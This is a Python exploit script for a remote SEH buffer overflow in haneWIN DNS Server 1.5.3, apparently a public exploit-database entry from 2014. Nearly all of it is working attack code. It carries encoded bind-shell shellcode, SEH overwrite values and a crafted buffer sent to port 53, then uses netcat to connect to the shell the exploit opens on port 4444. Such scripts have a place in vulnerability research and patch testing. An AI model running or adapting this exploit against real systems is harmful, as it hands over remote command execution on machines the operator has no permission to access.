haneWIN DNS Server 1.5.3 – Remote Buffer Overflow (SEH)
#!/usr/bin/python # Exploit Title: haneWIN DNS Server (SEH) # Author: Dario Estrada (dash) https://intrusionlabs.org # Date: 2014-01-29 # Version: haneWIN DNS Server 1.5.3 # Vendor Homepage: http://www.hanewin.net/ # Vulnerable app link:http://www.hanewin.net/dns-e.htm # Tested on: Windows XP SP3 # Thanks to God, to my family and all my friends for always being there # # Description: # A SEH overflow occurs when large amount of data is sent to the server # import socket, sys, os, time usage = "\n Usage: " + sys.argv[0] + " <host> \n" if len(sys.argv) < 2: print usage sys.exit(0) host = sys.argv[1] shellcode = ( #msfpayload windows/shell_bind_tcp R | msfencode -t c -b '\x00\xff\x0a\x0d' "\xb8\xdf\x64\x04\x29\xd9\xc7\xd9\x74\x24\xf4\x5d\x29\xc9\xb1" "\x56\x31\x45\x13\x83\xed\xfc\x03\x45\xd0\x86\xf1\xd5\x06\xcf" "\xfa\x25\xd6\xb0\x73\xc0\xe7\xe2\xe0\x80\x55\x33\x62\xc4\x55" "\xb8\x26\xfd\xee\xcc\xee\xf2\x47\x7a\xc9\x3d\x58\x4a\xd5\x92" "\x9a\xcc\xa9\xe8\xce\x2e\x93\x22\x03\x2e\xd4\x5f\xeb\x62\x8d" "\x14\x59\x93\xba\x69\x61\x92\x6c\xe6\xd9\xec\x09\x39\xad\x46" "\x13\x6a\x1d\xdc\x5b\x92\x16\xba\x7b\xa3\xfb\xd8\x40\xea\x70" "\x2a\x32\xed\x50\x62\xbb\xdf\x9c\x29\x82\xef\x11\x33\xc2\xc8" "\xc9\x46\x38\x2b\x74\x51\xfb\x51\xa2\xd4\x1e\xf1\x21\x4e\xfb" "\x03\xe6\x09\x88\x08\x43\x5d\xd6\x0c\x52\xb2\x6c\x28\xdf\x35" "\xa3\xb8\x9b\x11\x67\xe0\x78\x3b\x3e\x4c\x2f\x44\x20\x28\x90" "\xe0\x2a\xdb\xc5\x93\x70\xb4\x2a\xae\x8a\x44\x24\xb9\xf9\x76" "\xeb\x11\x96\x3a\x64\xbc\x61\x3c\x5f\x78\xfd\xc3\x5f\x79\xd7" "\x07\x0b\x29\x4f\xa1\x33\xa2\x8f\x4e\xe6\x65\xc0\xe0\x58\xc6" "\xb0\x40\x08\xae\xda\x4e\x77\xce\xe4\x84\x0e\xc8\x2a\xfc\x43" "\xbf\x4e\x02\x72\x63\xc6\xe4\x1e\x8b\x8e\xbf\xb6\x69\xf5\x77" "\x21\x91\xdf\x2b\xfa\x05\x57\x22\x3c\x29\x68\x60\x6f\x86\xc0" "\xe3\xfb\xc4\xd4\x12\xfc\xc0\x7c\x5c\xc5\x83\xf7\x30\x84\x32" "\x07\x19\x7e\xd6\x9a\xc6\x7e\x91\x86\x50\x29\xf6\x79\xa9\xbf" "\xea\x20\x03\xdd\xf6\xb5\x6c\x65\x2d\x06\x72\x64\xa0\x32\x50" "\x76\x7c\xba\xdc\x22\xd0\xed\x8a\x9c\x96\x47\x7d\x76\x41\x3b" "\xd7\x1e\x14\x77\xe8\x58\x19\x52\x9e\x84\xa8\x0b\xe7\xbb\x05" "\xdc\xef\xc4\x7b\x7c\x0f\x1f\x38\x8c\x5a\x3d\x69\x05\x03\xd4" "\x2b\x48\xb4\x03\x6f\x75\x37\xa1\x10\x82\x27\xc0\x15\xce\xef" "\x39\x64\x5f\x9a\x3d\xdb\x60\x8f" ) nSEH = '\xeb\x06\x90\x90' SEH = '\xd1\x07\xfc\x7f' opcode = "\xe9\xdf\xf6\xff\xff" junk = 'A' * (2324 - len(shellcode)) padding = 'A' * 600 buff = shellcode + junk + nSEH + SEH + opcode + padding print "[+] Connecting to %s:53" % (host) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, 53)) aix= shellcode + 'A' * (2324 - len(shellcode)) print "[*] Sending payload.." + " shellcode: " + str(len(shellcode)) s.send(buff) print "[*] Exploit Sent Successfully!" s.close() print "[+] Waiting for 5 sec before spawning shell to " + host + ":4444\r" time.sleep(5) os.system ("nc -n " + host + " 4444") except: print "[!] Could not connect to " + host + ":53\r" sys.exit(0) |